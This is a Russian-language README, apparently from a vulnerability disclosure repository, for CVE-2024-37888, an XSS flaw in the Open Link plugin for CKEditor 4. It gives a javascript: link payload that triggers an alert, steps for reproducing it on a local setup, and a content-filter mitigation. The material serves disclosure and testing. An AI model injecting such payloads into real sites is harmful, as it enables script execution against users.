
XSS PoC/эксплойт для Open Link Plugin для CKEditor 4
В этом репозитории описаны сведения об уязвимости и эксплойт для CVE-2024-37888, обнаруженной и о которой сообщил Anurag Mondal (7Ragnarok7) 21 мая 2024 года.
Этот Proof of Concept (POC) демонстрирует эксплуатацию уязвимости XSS, недавно обнаруженной мной в плагине Open Link, который при включении напрямую влияет на все версии CKEditor 4. Данная уязвимость позволяет выполнять JavaScript через специально сформированные ссылки внутри редактора, которые плагин не очищает должным образом. Эту уязвимость можно эксплуатировать внутри текстовой области только при установленном плагине Open Link. Плагин Open Link позволяет открывать ссылки непосредственно внутри области редактирования.
Эту уязвимость можно проверить на предварительно настроенном экземпляре CKEditor, доступном здесь.
Вставка полезной нагрузки:
Откройте экземпляр CKEditor и нажмите на значок "Source".
Вставьте следующую полезную нагрузку в текстовую область:
<a href="javascript:alert('XSS Found')">XSS</a>

Переключение в режим WYSIWYG:

Запуск XSS:

Вы можете настроить собственный локальный экземпляр для проверки этой уязвимости, выполнив следующие шаги.
Загрузка CKEditor 4:

Установка плагина Open Link:
ckeditor/plugins/openlink.
Обновление конфигурации для включения плагина OpenLink:
config.js CKEditor, добавив следующие строки в конец:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Подключите CKEditor в HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Эта уязвимость обнаружена в кодовой базе плагина Open Link, а не в кодовой базе CKEditor 4. Приведённый выше POC демонстрирует эксплуатацию уязвимости XSS через плагин Open Link в CKEditor 4.*.*. Данная уязвимость позволяет выполнять произвольный JavaScript через специально сформированные ссылки, что представляет серьёзный риск для безопасности.
config.disallowedContent = 'a[onclick]';